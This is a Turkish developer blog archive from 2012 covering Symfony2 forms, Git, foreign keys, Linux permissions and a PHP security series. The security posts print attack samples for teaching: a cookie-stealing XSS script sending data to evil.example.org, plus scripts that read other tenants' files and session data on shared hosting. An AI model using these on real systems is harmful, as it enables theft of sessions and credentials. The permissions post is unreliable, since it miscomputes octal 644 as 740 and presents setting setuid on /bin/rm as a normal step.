- https://extensions.gnome.org/ adresine giriyoruz.
- Sayfamızın üst kısmında çıkan yönergeye izin veriyoruz ve erişim izni tanımlamış oluyoruz.
- İstediğimiz eklentinin detay sayfasına girerek "Off" konumda olan butonu "On" konumuna alıyoruz.
- On konumuna aldıktan sonra açılan onay penceresine "Install" diyoruz ve eklentimiz hemen geliyor.
31 Ekim 2012 Çarşamba
Ubuntu Gnome Extension
30 Ekim 2012 Salı
Symfony2 Formlarini Ozellestirmek ve Bootstrap CSS
Boostrap Kurulumu
Öncelikle Bootstrap CSS indirip uygulamamıza dahil edelim. Şu adresten Bootstrap için gerekli dosyaları indirdikten sonra web klasörü altına açıyoruz. Daha sonra kullandığımız layout içerisinde bootstrap için gerekli dosyaları dahil ediyoruz.# app/Resources/views/base.html.twig
<head><link href="{{ asset('css/bootstrap.min.css') }}" rel="stylesheet"></head>
<body>
<script type="text/javascript" src="{{ asset('js/bootstrap.min.js') }}"></script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js"></script></body>Bootstrap ile birlikte kullanabileceğiniz bazı javascript eklentileri de bulunuyor, bunlar jQuery gerektirdiğinden bu kütüphaneyi de dahil ediyoruz.
Symfony2 Formlarını Özelleştirmek
Symfony2'de oluşturduğumuz formları sayfada gösterirken bazı fonksiyonlar kullanıyoruz. Örneğin integer tipinde bir alanı integer_widget metodundan faydalanıyoruz. Fakat oluşan çıktının formatını değiştirmek istersek, iki yöntem kullanabiliriz. Birisi sadece ilgili fom için bu metodun çıktısını değiştirmek. Bu her ne kadar daha basit gibi görünse de, aynı işleme başka yerde ihtiyacımız olduğunda eziyet olacaktır. Bu yüzden bu yönteme ek olarak tüm formlarda bir metodun çıktısını değiştirmek için de bir yöntem bulunuyor. Önce sadece ilgili formda form_widget metodunu değiştirelim:#src\Dubluve\NewBundle\Default\new.html.twig
{% extends '::base.html.twig' %} {% form_theme form _self %}
{% block form_row %} {% spaceless %} <div class="control-group"> {{ form_label(form) }} {{ form_errors(form) }} <div class="controls">{{ form_widget(form) }}</div> </div> {% endspaceless %} {% endblock form_row %}
{% block content %} {{ form_row(form.email) }} {% endblock %}Bu sayfada kullanılan form için form_row metodu farklı bir çıktı oluşturacak, fakat diğer sayfalardaki formlar için çıktı aynı olacaktır. Eğer bu değişikliğin tüm formlar için geçerli olmasını istiyorsak kendi formatlarımızın bulunduğu bir dosya oluşturmamız gerekiyor. Yeni dosyada çıktısını değiştirmek istediğimiz metodlar olacak, diğerleri ise eskisi gibi çıktı oluşturmaya devam edecek. Yeni dosyayı proje klasörü içerisinde src\Dubluve\NewBundle\Resources\views\Form\bootstrap.html.twig dosyasını yaratıyoruz.
#src\Dubluve\NewBundle\Resources\views\Form\bootstrap.html.twig
{% extends 'form_div_layout.html.twig' %}
{% block form_row %}
{% spaceless %} <div> {{ form_label(form) }} {{ form_errors(form) }} <div>{{ form_widget(form) }}</div> </div> {% endspaceless %} {% endblock form_row %}Dosyadaki extends ifadesi, değiştirilmeyen form elemanlarının eskisi gibi kalacağını ifade ediyor. Dosyayı oluşturduktan sonra config.yml dosyasını da aşağıdaki şekilde güncelliyoruz ve yeni dosyamızın global olarak kullanılacağını belirtiyoruz.
# Twig Configuration twig: form: resources: - 'DubluveNewBundle:Form:bootstrap.html.twig'
Bootstrap İle Entegrasyon
Yukarıdaki yöntemleri anlattıktan sonra aslında sadece bootstrap ile değil herhangi bir CSS framework ile entegrasyon oldukça basit. Aslında sadece bootstrap dosyalarını sisteme entegre etmek bile güzel bir görünüm sağlıyor :) Hazırladığım projede tüm formların bootstrap dokümantasyonunda anlatılan horizontal-form formatında olmasını ve hata mesajlarının bootstrap formatında çıkmasını istemiş ve dosyayı buna göre düzenlemiştim. Aşağıda kullandığım dosyayı görebilirsiniz.#src\Dubluve\NewBundle\Resources\views\Form\bootstrap.html.twig
{% extends 'form_div_layout.html.twig' %} {% block form_row %} {% spaceless %} {% if not form.children %} <div class="control-group"> {{ form_label(form) }} {{ form_errors(form) }} <div class="controls">{{ form_widget(form) }}</div> </div> {% else %} {{ form_errors(form) }} {{ form_widget(form) }} {% endif %} {% endspaceless %} {% endblock form_row %} {% block form_label %} {% spaceless %} {% if not compound %} {% set label_attr = label_attr|merge({'for': id}) %} {% endif %} {% if required %} {% set label_attr = label_attr|merge({'class': (label_attr.class|default('') ~ ' required control-label')|trim}) %} {% endif %} {% if label is empty %} {% set label = name|humanize %} {% endif %} <label {% for attrname, attrvalue in label_attr %} {{ attrname }}="{{ attrvalue }}"{% endfor %} >{{ label|trans({}, translation_domain) }}</label> {% endspaceless %} {% endblock form_label %}
{% block form_errors %} {% spaceless %} {% if errors|length > 0 %} {% for error in errors %} <div class="alert alert-error">{{ error.messagePluralization is null ? error.messageTemplate|trans(error.messageParameters, 'validators') : error.messageTemplate|transchoice(error.messagePluralization, error.messageParameters, 'validators') }}</div> {% endfor %} {% endif %} {% endspaceless %} {% endblock form_errors %}Devamı için : Symfony2 Formlarini Ozellestirmek ve Bootstrap CSS
29 Ekim 2012 Pazartesi
Online Storage Hizmetleri Kiyaslamasi
Hizmetin Adı | Ücretsiz Alan | Desteklediği Ortam | URL |
---|---|---|---|
DropBox | 2GB | Windows, Mac, Linux + Mobil Cihazlar | https://www.dropbox.com/ |
UbuntuOne | 5GB | Windows, Mac, Linux + Mobil Cihazlar | https://one.ubuntu.com/ |
GoogleDrive | 5GB | Windows, Mac, Linux + Mobil Cihazlar | https://drive.google.com |
iCloud | 5GB | Apple Cihazlar | https://www.icloud.com/ |
SkyDrive | 7GB | Windows, Mac, Linux + Mobil Cihazlar | http://windows.microsoft.com/en-US/skydrive/download |
26 Ekim 2012 Cuma
ipad3 ve usb sarj problemi - asus ai charger
25 Ekim 2012 Perşembe
Foreign key nedir - Foreign key aksiyonlari
Foreign Key Nedir?
Ön not : Foreign key için türkçe bir ifade bulamadım. Foreign key'ler, farklı tablolardaki sütunlar için ilişki ve kısıt uygulama yoludur. Bu durumda ilişkili tablolardan bazıları çocuk bazıları da ebeveyn tablo gibi anılabilir. Bu iş, tıpkı OOP deki sınıf ilişkilerine benzer. Örneğin bir Üye ve bu üyeye ait birden fazla adres bilgisi tutuluyorsa, bir üye tablosu ve bir adres tablosuna ihtiyacımız olacak. Bu adres tablosunda da üyeye ait tekil (unique) bir değer (join etmek için dahi olsa) bulunması gerekecektir. Bu noktada anlatılmak istenen, o tekil değer üzerinden foreign key tanımlarsak dünya daha yaşanabilir bir yer haline gelebilir ;) Aşağıdaki aksiyonları tanımlayarak, manuel olarak yapılacak bir çok işlemden aslında otomatik olarak kurtulabiliriz.Foregin key aksiyonları:
Farklı foreign key kısıt aksiyonlari (kategorileri) vardır. Bunlar nasıl tetiklendiklerine ve nasıl zorlandıklarıan göre değişmektedir :- Cascade: (basamaklamak) Ebeveyen tablodan bir satır silindiğinde, aynı foreign key'e sahip satırların tümü çocuk tablodan da silinir. Veya ana tablodaki foreign key tanımlanan sütun üstündeki değişimler, bu çocuk tablodaki ilgili satırlar için de uygulanır.
- Restrict: (kısıtlamak)Yavru tabloda bir değişiklik meydana geliyorsa, ebeveyn tablodaki silme işlemi yapılamaz. Aynı şekilde değeri de değiştirilemez.
- No Action: (işlem yok) No action, restrict e çok benzer. Ancak işlemi engellemek yerine, manuel olarak store precedure vb ile ilgili işlemi manuel olarak giderme fırsatı verir.
- Set NULL: (Null atamak) Foregin key tanımlanacak sütun için NULL izin verilen bir değer ise, ebeveyen tabloda bir değişiklik veya silme işlemi olduktan sonra, çocuk tablodaki ilgili sütun NULL atanır.
- Set Default: (Varsayılan Atamak) Eğer foreign key tanımlanan sütun için varsayılan bir değer atanmış ise, Ana tabloda yapılan değişiklikten sonra çocuk tablodaki değerler Varsayılan olana atanır.
percona server nedir
Percona, Mysql ve InnoDb performansında uzman
23 Ekim 2012 Salı
Git Versiyon Kontrol Sistemi - Başlangıç

Git Kurulumu (Linux - Ubuntu)
Git'in bağlı olduğu bazı kütüphanelerin kurulumunu gerçekleştirmek gerekiyor öncelikle. Bunlar curl, zlib, openssl, expat ve libiconv kütüphaneleridir. Bunun için şöyle bir komut yazıyoruz: $ sudo apt-get install libcurl4-gnutls-dev libexpat1-dev gettext \libz-dev libssl-dev Daha sonra aşağıdaki komutu yazarak git kurulumunu gerçekleştirmeniz gerekmektedir. $ sudo apt-get install git-coreGit Konfigürasyon Ayarları
Aşağıdaki komutları kullanarak isminiz ve email adresiniz gibi bilgileri tanıtabilirsiniz. $ git config --global user.name "Ferid Mövsümov" $ git config --global user.email faridmovsumov@gmail.com Burada --global kullanarak ayarlarınızın sistem bazında tanıtılmasını sağlamış olursunuz. Yani makinenizdeki bütün git işlemleri için bu ayarlar geçerli olacaktır. Yorumlarınızı yazarken kullanılacak varsayılan editörü belirlemek için aşağıdaki komutu kullanabilirsiniz. Eğer bu ayarı belirtmezseniz sisteminizdeki varsayılan editör kullanılacaktır. $ git config --global core.editor emacs Versiyonlar arasındaki değişiklikleri incelemenizi sağlayan varsayılan diff aracını belirlemek için aşağıdaki komut kullanılabilir $ git config --global merge.tool vimdiff Sistemde tanımlı olan git ayarlarını görmek için aşağıdaki komutu kullanmanız gereklidir. git config --listGit Yardım Komutları
$ git help <verb> $ git <verb> --help $ man git-<verb> KAYNAK: http://git-scm.com/book Devamı için : Git Versiyon Kontrol Sistemi - Başlangıç22 Ekim 2012 Pazartesi
Sirketlerde Bilgi Guvenliginin Onemi


Php Guvenlik - 3
Session Güvenliği

Login Formlarının Güvenliği
Sisteminize kayıtlı üyenin kullanıcı adı, şifre bilgilerini yazarak sisteme giriş yapacağı formların güvenliğinin sağlanması çok önemli bir güvenlik konusudur. Sisteme giriş yapmak isteyen bir saldırgan sürekli farklı şifreler deneyen bir bot tasarlayarak sisteminize giriş yapmaya çalışacaktır. Bu tarz botları engellemek amacıyla çeşitli güvenlik önlermleri alınabilir. Bunlardan bir tanesi sisteme giriş formunuzda captcha kullanmaktır. Bu çözüm başarılı olsa da kullanıcıları sıkan bir yöntem olduğundan bu yöntemi tercih etmek istemeyebilirsiniz. Alacağınız bir diğer güvenlik önlemi ise bir kişinin art arda belli bir zaman aralığında yanlış şifre denemesi yaptığını tespit ederek onun belli bir süre sisteme giriş yapmasını engellemektir. Bu süre 15 dk olarak belirlenebilir. Örneğin 3 kere yanlış şlifre girilirse bir daha deneme yapmak için 15 dk beklemesi gerekecek. Bu tarz bir yöntem saldırganın işini oldukça zorlaştıracaktır. Http isteklerinin saldırgan tarafından dinlenmesi ihtimali göz önüne alınarak bu isteklerin güvenli bir şekilde gidip gelmesi amacıyla https protokolü kullanılabilir. Bu şekilde server ve client arasındaki veri akışı bir saldırgan tarafından ele geçirilse bile içeriğin ne olduğu kolay kolay çözülemeyecektir.Paylaşımlı Hosting Kullanımından Doğabilecek Güvenlik Açıkları
Paylaşımlı hosting üzerindeki başka bir sitenin sahibi olan geliştirici sizin kaynak kodlarınızı okuyabilecek bir script geliştirebilir. Aşağıdaki gibi bir kodda file isminmi belirtmek bu işi gerçerkleştirmek için yeterlidir. <?php header('Content-Type: text/plain'); readfile($_GET['file']); ?> Bu güvenlik açığını engellemek amacıyla alacağınız önemli önlemlerden bir tanesi de çok önemli bilgileri mümkün olduğunca veritabanında tutmaya çalışmaktır. Ancak bu da her zaman çözüm değildir çünkü veritabanı erişim bilgilerini yine de kaynak kodlarımız içerisinde tutmamız gerekecek. Bu soruna da şöyle bir çözüm getirebiliriz. Veritabanı erişim bilgilerini sadece root erişimi olacak şekilde ayarlarız. SetEnv DB_USER "myuser" SetEnv DB_PASS "mypass" Bu değişkenlere kod içerisinde şu şekilde erişebiliriz: <?php $db_user = $_SERVER['DB_USER']; $db_pass = $_SERVER['DB_PASS']; $db_host = 'localhost'; $db = mysql_connect($db_host, $db_user, $db_pass); ?> Önemli verileriniz $_SERVER değişkeninde olduğundan bu bilgileri kullanıcya sunabilecek phpinfo() fonksiyonunun kullanıcılara açık bir yerde kullanılmasından kaçının. Session verilerinizin de güvenliği paylaşımlı hosting kullanımlarında tehlike altındadır. Session bilgileri tmp dosyası altında tutulur ve bu dosya bütün apache kullanıcılarının yazma izniyle erişebileceği bir yerdir. Kötü niyetli bir kişi session verilerinin yazacağı bir script yardımıyla okuyabilir. Bu script aşağıdaki gibi olabilir. <?php header('Content-Type: text/plain'); session_start(); $path = ini_get('session.save_path'); $handle = dir($path); while ($filename = $handle->read()) { if (substr($filename, 0, 5) == 'sess_') { $data = file_get_contents("$path/$filename"); if (!empty($data)) { session_decode($data); $session = $_SESSION; $_SESSION = array(); echo "Session [" . substr($filename, 5) . "]\n"; print_r($session); echo "\n--\n\n"; } } } ?> Böyle bir güvenlik açığını kapatmanın yolu session bilgilerini veritabanında tutmaktır.Php safe mode
Bu mod açık ise bir script çalıştırıldığında o scripti ç.alıştıran kullanıcı ile erişilmeye çalışılan kaynak sahibinin aynı kullanıcı olup olmadığı kontrol edilir. Böylece başka bir kullanıcının sizin dosyalarınıza erişimi engellenmiş olur. Safe Mode php ile yazılmış scriptler için güvenlik sağlarken diğer dillerde yazılmış olan scriptler açısından bir şey ifade etmez. Aşağıdaki gibi bir CGI scripti buna örnektir. #!/bin/bash echo "Content-Type: text/plain" echo "" cat /home/victim/inc/db.inc Host tarafından desteklenen Perl, Phyton gibi dillerde yazılacak scriptlerin hiçbiri safe mode ayarını dikkate almayacaktır. Safe modun bir diğer zayıf tarafı ise scriptlerin kendi içerisinde yeni script yaratabilir ve bu yaratılan yeni scriptin sahibi web server olacaktır. Web server bütün dosyalara erişim hakkına sahip olduğundan safe modun burada herhangi güvenlik etkisi kalmayacaktır. Kaynak : Php Essential Security- O'Reilly Devamı için : Php Guvenlik - 3Php Guvenlik - 2
Web uygulamaları genellikle dışarıdan verileri formlar aracılığıyla alır. Bu nedenle güvenlik açısından en çok dikkat edilmesi gereken yert formlardır. Kullanıcı verileri GET, POST veya HTTP HEADER (örn: Cookieler ) ile gönderebilir.
Kullanıcıdan bir belge yüklenmesi isteniyorsa, sunucu tarafında belgenin belli bir büyüklükte olmasına dair kontrol yapılmalıdır. Php nin is_uploaded_file() fonksiyonu kullanılarak bu belgenin gerçekten yüklenip yüklenmediğini kontrol etmek mantıklı olabilir. Aşağıdaki gibi bir kod parçasıyla gerekli kontrolü yapabiliriz
<?php
$filename = $_FILES['attachment']['tmp_name'];
if (is_uploaded_file($filename))
{
/* $_FILES['attachment']['tmp_name'] is an uploaded file. */
}
?>Upload edilen belgeleri daha kalıcı bir yere taşınmak istenirse aşağıdaki gibi bir kod kullanılabilir.
<?php
$old_filename = $_FILES['attachment']['tmp_name'];
$new_filename = '/path/to/attachment.txt';
if (move_uploaded_file($old_filename, $new_filename))
{
/* $old_filename is an uploaded file, and the move was successful. */
}
?> Güvenlik açısından en önemli kural mümkün olduğunca az güvenmektir. Her aşamada şüpheci olmakta fayda vardır.Cross Site Scripting (XSS)
Bu saldırı türü çok sık görülen saldırı türlerinden bir tanesidir. Kullanıcıdan aldığı veriyi gösteren her bir uygulama bu saldırı türüne maruz kalma riski taşımaktadır. Web sitemizde kullanıcıların yorum yazdığı bölüme aşağıdaki gibi bir kod parçası girildiğini varsayalım <script>document.location = 'http://evil.example.org/steal.php?cookies=' +
document.cookie
</script> Saldırgan bu script çalıştığı taktirde, ilgili, web sayfasını görüntüleyen kullanıcının cookie bilgilerini çalabilir ($_GET['cookies'] içerisindeki herşeye ulaşabilir) ve kendi sitesine yönlendirerek bu bilgileri daha sonra kötü amaçlarla kullanılmak üzere kaydedebilir. Kullanıcıya gösterilecek her bir veri en azından htmlentities( ) fonksiyonundan geçirilerek bu saldırı türünü kolayca engellenebilir. Aşağıda bu saldırıya karşı geliştirilmiş bir güvenlik önlemi gösterilmektedir. <?php$clean = array();
$html = array();
/* Filter Input ($name, $comment) */
$html['name'] = htmlentities($clean['name'], ENT_QUOTES, 'UTF-8');
$html['comment'] = htmlentities($clean['comment'], ENT_QUOTES, 'UTF-8');
echo "<p>{$html['name']} writes:<br />";
echo "<blockquote>{$html['comment']}</blockquote></p>";
?>CSRF Saldırıları (Cross-Site Request Forgeries)
Saldırgan sizin sitenize giriş yapmış bir kullanıcıya bir url'yi ziyaret etmesini sağlayarak o kullanıcının kendi bilgisi dışında bir işlem gerçekleştirmesini sağlayabilir. Örnek olarak aşağıdaki url'yi inceleyelim. http://store.example.org/buy.php?item=pen&quantity=1 Sizin alışveriş sitenizde bir kullanıcının 1 adet kalem almasını sağlayan url yukarıdaki gibidir. Sisteminize kullanıcı adı ve şifresiyle giriş yapmış her bir kullanıcı bu bağlantıya tıkladığında bir adet kalem satın almış olur. Böylece saldırgan bu url adresine yönlendirme yapan bir linke tıklamanızı sağlarsa sizin bilginiz dışında alışveriş yaomanızı sağlamış olur. Saldırgan bu saldırı yöntemiyle sizin isteminiz dışında şifrenizi bile değiştirecek boyutta büyük zararlar vererek yaptırmak istediği her türlü işlemi size yaptırabilir. Saldırganın yapması gereken tek şey sizi belli bir url adresine yönlendirmek olduğunda bunu çeşitli yöntemlerle gerçekleştirebilir. Bu yöntemlerden en yaygını bir tıklama işlemi yapmanıza bile gerek kalmadan size gösterilen bir resmin içerisine tıklama işlemini otomatik olarak gerçekleştiren kodlar gömmektir. HTML tagı img'nin src atrribute değerinde yer alan url için browserlar ayrı bir istek gönderir bu sayede saldırganbu kod sayesinde istediği url'ye istek göndermemizi sağlayabilir. Örneği aşağıdaki gibidir. <img src="http://store.example.org/buy.php?item=pencil&quantity=50" /> Bu saldırı türüne karşı alınabilecek güvenlik önlemleri şu şekilde sıralanabilir: GET yerine POST kullanmanız saldırganın işini zorlaştıracaktır. Aşağıda CSRF saldırısnın önüne tamamen geçmeyi amaçlayan bir form örneği gösterilmiştir. <?phpsession_start();
$token = md5(uniqid(rand(), TRUE));
$_SESSION['token'] = $token;
$_SESSION['token_time'] = time();
?>
<form action="buy.php" method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<p>
Item:
<select name="item">
<option name="pen">pen</option>
<option name="pencil">pencil</option>
</select><br />
Quantity: <input type="text" name="quantity" /><br />
<input type="submit" value="Buy" />
</p>
</form> Gelen verileri doğrulama işlemi ise şu şekilde yapılacaktır. <?phpif (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token'])
{
/* Valid Token */
}
?> Güvenliği daha da güçlendirmek için bir tokenin sadece 5 dakika boyunca kullanılmasını sağlayabiliriz. <?php$token_age = time() - $_SESSION['token_time'];
if ($token_age <= 300)
{
/* Less than five minutes has passed. */
}
?> KAYNAK: Essential Php Security Kitabı- O' Rielly Devamı için : Php Guvenlik - 2Php Guvenlik - 1
Php ile kod yazarken dikkat etmeniz gereken güvenlik önlemleri ile ilgili aldığım notları birkaç bölüm halinde aktarmaya çalışacağım.
Sistemde herhangi bir hata mesajının kullanıcılara gösterilmesi ciddi bir güvenlik açığıdır. Bütün hata mesajları log dosyalarına yazılmalıdır.Hata mesajlarının güvenlikle ilgili ciddi açıklara neden olabilecek bilgiler yer alabilir. Aşağıdaki kodları kullanarak hataların loglara yazılması sağlanabilir. Ayrıca kritik bilgiler içerebilecek olan hata mesajlarının kullanıcılara gösterilmesinin önüne geçmiş olursunuz.
ini_set('error_reporting', E_ALL | E_STRICT);
ini_set('display_errors', 'Off');
ini_set('log_errors', 'On');
ini_set('error_log', '/usr/local/apache/logs/error_log'); Hata durumlarında çalıştırılmak üzere özel fonksiyonlarımızı yazabiliriz. Bu fonksiyonların hata esnasında çalışması için şu şekilde bir kod yazılabilir. set_error_handler('my_error_handler');Aşağıda hata durumunda çalıştırılabilecek örnek bir fonksiyon örneği bulunmaktadır.
function my_error_handler($number, $string, $file, $line, $context)
{
$error = "= == == == ==\nPHP ERROR\n= == == == ==\n";
$error .= "Number: [$number]\n";
$error .= "String: [$string]\n";
$error .= "File: [$file]\n";
$error .= "Line: [$line]\n";
$error .= "Context:\n" . print_r($context, TRUE) . "\n\n";
error_log($error, 3, '/usr/local/apache/logs/error_log');
}
Aşağıdaki gibi bir kullanım ile sadece Uyarılar için fonksiyonumuzun çalışmasını sağlamış oluruz
set_error_handler('my_warning_handler', E_WARNING);
Kullanıcı çok önemli bir işlem gerçekleştirmek istediğinde, sisteme zaten giriş yapmış olsa bile şifre istenebilir. Bunun örneklerini Facebook ve Twitter'in de uyguladığını görmekteyiz.
Get ve Post ile gelen verilerin atamasının yapılmadığı taktirde değişkenlere boşluk ataması yapmak gerekir . Bunu iki farklı şekilde yapabilirsiniz.
$search = (isset($_GET['search']) ? $_GET['search'] : '');
veya
$search = '';
if (isset($_GET['search']))
{
$search = $_GET['search'];
} Kredi kartı bilgisi gibi hassas veriler SSL ile aktarılmalıdır. Kullanıcıya kredi kartı bilgilerini göstereceğiniz zaman sadece son 4 hanenin gösterilmesi gibi yaklaşımlar benimsenebilir. Session değişkeni çok hassas bilgiler içerebileceğinden sunucu tarafında tutulmalıdır. Kullanıcı tarafından gönderilen verilerin düzeltilmeye çalışılmasının güvenlik açıklarına neden olabileceğini dikkate almak gerekiyor. $clean şeklinde bir değişken belirleyip güvenli olduğunu doğruladığımız değişkenleri bu array içerisine atabiliriz. Daha sonra kodun istenilen yerinde $clean dizisi içerisindeki değişkenleri güvenle kullanabiliriz. Kullanıcıya gösterilecek verilerin htmlentities( ) fonksiyonundan geçirilmesi gerekir. Bu fonksiyona ek parametrelerler vermemiz gerekir. Bunlar ENT_QUOTES ve UTF-8 parametreleridir. $html isimli arrayimizde de filtrelenmiş ve escape edilmiş verileri tutarız. $html = array( );$html['username'] = htmlentities($clean['username'],ENT_QUOTES, 'UTF-8');
echo "<p>Welcome back, {$html['username']}.</p>"; Veritabanı olarak mysql kullanıyorsanız query içerisinde kullanılacak verileri mysql_real_escape_string( ) fonsiyonundan geçirmeniz önemlidir. Eğer MySql kullanmıyorsanız son çare olarak addslashes( ) kullanmalısınız. $mysql = array( );$mysql['username'] =
mysql_real_escape_string($clean['username']);
$sql = "SELECT *
FROM profile
WHERE username = '{$mysql['username']}'";
$result = mysql_query($sql); KAYNAK: Essential PHP Security O'Rielly Devamı için : Php Guvenlik - 1Fatal error: Attempt to unset static property hatasi
unset(self::$test);Fatal error: Attempt to unset static property hatasını vermektedir. (ölümcül hata : static özelliği unset etmeye yönelik girişim). Bu hata aslında sizin bu işlemi yanlış yaptığınız yönündedir. Tavsiye : İlla böyle bir şeye ihtiyacınız var ise, değişkenin tipine göre boş string, Null veya false atayınız. Devamı için : Fatal error: Attempt to unset static property hatasi
21 Ekim 2012 Pazar
linux dosya ve dizin izinleri
-rw-rw-r-- | 1 | khantunckale | khantunckale | 792438 | Oct 19 20:52 | warning.jpg |
drwxrwxr-x | 2 | khantunckale | khantunckale | 4096 | Oct 18 15:14 | pictures/ |
-rw------- | 1 | khantunckale | khantunckale | 641 | Oct 18 01:59 | algoritma1.java~ |
-rw-r--r-- | 1 | root | root | 1324 | Oct 21 01:17 | mysql.txt |
-rw-rw-r-- | 1 | khantunckale | khantunckale | 0 | Sep 30 21:42 | mahmut.htm |
Dosya tipi | Sahibin yetkileri | Grubun yetkileri | Diğer kullanıcılar |
d | rwx | rwx | rwx |
- | rwx | --- | --- |
rwxrwxrwx | : | Dosyayı herkes okuyabilir, herkes bu dosyaya kayıt yapabilir, dosyanın adını değiştirebilir, dosyayı silebilir. Eğer bu bir program dosyası ise, herkes çalıştırabilir. |
rwxr-xr-x | : | Herkes okuyabilir ve program dosyası ise herkes çalıştırabilir. Ama sadece dosyanın sahibi bu dosyada değişiklik yapabilir. |
rwx------ | : | Bu dosyada sadece sahibi tüm işlemleri yapabilir, dosya diğer kullanıcılara kapalıdır. |
rw-r--r-- | : | Dosya program dosyası değil, çünkü kimsenin çalıştırma yetkisi yok. Sahibi okuyup yazabilir ancak diğer kullanıcılar sadece okuyabilir. |
rwx--x--x | : | Sahibi tüm işlemleri yapar, diğer kullanıcılar sadece çalıştırabilirler. |
Dosya izinleri nasıl değiştirilebilir?
Dosya ve dizin izinleri sadece sahipleri ve root kullanıcı tarafından tarafından değiştirilebilirler. Bunun için chmod komutu kullanılır . chmod komutu iki şekilde çalıştırılabilir, biri yeni iznin sayısal değerle verilmesi ile diğeri yapılacak değişikliğin sembolik olarak verilmesi ile. Örnek olarak, rw-r--r-- izinini inceleyelim. Verilen haklar için 1, verilmeyen haklar için 0 yazılarak, iznin 2 tabanındaki görüntüsünü elde edelim --> 110100100 Ardından bunu 10'luk tabana çevirelim --> 740 Dosyanın izinlerini, bunun gibi, yani kullanıcısına tüm hakları vermek ve diğer kullanıcıların hepsine sadece okuma iznini verme işlemini, şu şekilde gerçekleriz.chmod 740 dosya_ismiİzinleri ayarlarken chmod komutuna sembolik parametreler vermek de aşağıdaki şekilde yapılır. Kullanıcı gruplarının sembolleri : Dosya sahibi (user) : u , dosyanın grubu (group) : g, diğer kullanıcılar (others) : o İzinlerin sembollerinden yukarıda bahsetmiştik : Okuma (read) : r, yazma (write) : w, çalıştırma (execute) : x Dosyaya izinleri vermek için +, izinleri çıkartmak için - işareti kullanılır. Örneğin herkese okuma izini vermek için chmod +r dosya_ismi komutunu kullanabiliriz. Aynı şekilde dosyanın sahibine tüm hakları vermek için chmod u+rwx dosya_ismi komutunu kullanbiliriz.
Dosyanın sahibi nasıl değiştirilebilir?
Bir dosyanın sahibini sadece sistemdeki root kullanıcı değiştirilebilir. Dosya sahibinin değiştirilmesi için chown komutu kullanılır. O da şu şekildedir;chown zubizaretta dosya_ismiBu komut ile dosyanın sahibi zubizaretta olmuştur. Kullanıcı grubunu değiştirmek için de chgrp komutu kullanılır. Örneğin chgrp www dosya_ismi ile, dosyanın kullanıcı grubunu www yapabiliriz. Ayrıca chown komutu, dosyanın kullanıcısını değiştirebildiği gibi kullanucu grubunu da değiştirebilir. O da şu şekilde olur;
chown zubizaretta.www dosya_ismi
t ve s bitleri nedir?
Linux sistemlerde yetkilerin 3 bit uzunluğunda 3 bölümden nasıl oluştuğunu yukarıda kabaca inceledik. Ama aslında izinler için 3 bit uzunluğunda bir bölüm daha vardır. Yani biz, chmod 644 kullandığımızda aslında chmod 0644 kullanmış oluruz. Şimdi biraz bunun hakkında konuşalım. Normalde, (t biti dizinlere yerleştirilmeden) dosyaların silinebilmesi için, dizinin tuttuğu dosyalar, silen kişi tarafından okunabilir olmalı. Herkesin dosya koyabileceği bir dizinimiz varsa, burada herkes herkesin dosyasını silebilir anlamına gelmektedir. t biti bu kuralı değiştirir. t biti kullandığımızda, yalnızca dosya sahibi dosyaları silebilir. t bitini chmod 1777 şeklinde yada chmod a+tw şeklinde kullanbiliriz. Örnek vermek gerekirse, iki kullanıcının olduğu bir sistemde t biti kullanmadığımızda, bir kullanıcı kendine ait olmayan dosyayı silebiliyorken, t biti kullandığımızda bu işlemi gerçekleştiremez. Böylece t bitinin işaretli olduğu bir dizinde herkes kendi oluşturduğu dosya ve dizinleri silebilir. s biti genellikle çalıştırılabilir dosyalara uygulanır. Linux sistemlerde çalıştırılabilir bir dosyanın iki adet kullanıcı id'si mevcut olur. Bunlardan biri uygulamanın dosya sahibi, diğeri de uygulamayı çalıştıracak olan kullanıcıdır. s biti kullanıldığı zaman, uygulama, oturum açmış kullanıcı hakları ile değil uygulama dosyasının sahibinin hakları ile çalışır. Örneğin rm komutunu ele alalım. Rm komutu ile root kullanıcı tüm dizinleri ve dosyaları silmekte yetkilidir. Ancak diğer kullanıcılar sadece kendi home dizinlerinde bu komutu kullanabilirler. Root kullanıcının ana dizinde oluşturduğu bir dizini, normal kullanıcı silmeye çalıştığı zaman Permission denied hatası alacaktır. Ancak, chmod u+s /bin/rm (veya chmod 4777 /bin/rm ) komutunu çalıştırdığımız zaman, normal kullanıcı da root kullanıcı gibi silme hakkına sahip olur. Devamı için : linux dosya ve dizin izinleriAndroid Navigasyon
- Kapı numarasına kadar girebileceğimiz ayrıntılı bir Türkiye haritası
- Yeniden hesaplama süresinin kısa sürede tepki vermesi
- Sesli yönlendirmesinin net ve anlaşılır olması
- GPS bağlantı hızının yüksek olması
- Kavşak veya yol ayrılmarında doğru bir biçimde yönlendirme yapabilmesi
- Harita güncellemesi

18 Ekim 2012 Perşembe
ubuntu 12.10 yayinlandi! (nasil upgrade ederim?)

17 Ekim 2012 Çarşamba
Ubuntu Masaüstüne Kısayol Oluşturmak
sudo apt-get install --no-install-recommends gnome-panelHemencecik kurduk. Masaüstüne yeni bir kısayol oluşturmak içinde yine aşağıda belirteceğim komutu yazmanız gerekecek :
gnome-desktop-item-edit ~/Desktop/ --create-newBu komutu çalıştırdığınızda bir pencere açılacak. Bu pencereye kısayolunuzun ismini, kısayol program ise program yolunu, klasör ise pathini dosya ise yine dosya tam pathini vermeniz gerekiyor. Title ve icon gibi şeyleride seçtikten sonra okey diyoruz ve masaüstüne kısayolumuz geliyor. İşlem bu kadardır. Umarım işinize yarar. Saygılar sevgiler. Devamı için : Ubuntu Masaüstüne Kısayol Oluşturmak
Ubuntu phpMyAdmin Kurulumu
sudo apt-get install phpmyadminYukarıdaki komutu çalıştırarak phpmyadmin kurulumu yapmış oluyoruz. Ancak henüz ayarlarımız bitmedi.
sudo nano /etc/apache2/apache2.confKomutunu çalıştırarak apache web sunucumuzun ayarlarının bulunduğu dosyayı düzenleme moduna geçiyoruz. En alt satıra inerek aşağıdaki ayarları ekliyoruz.
Include /etc/phpmyadmin/apache.confSon olarakta apache web sunucumuzu yeniden başlatıyoruz.
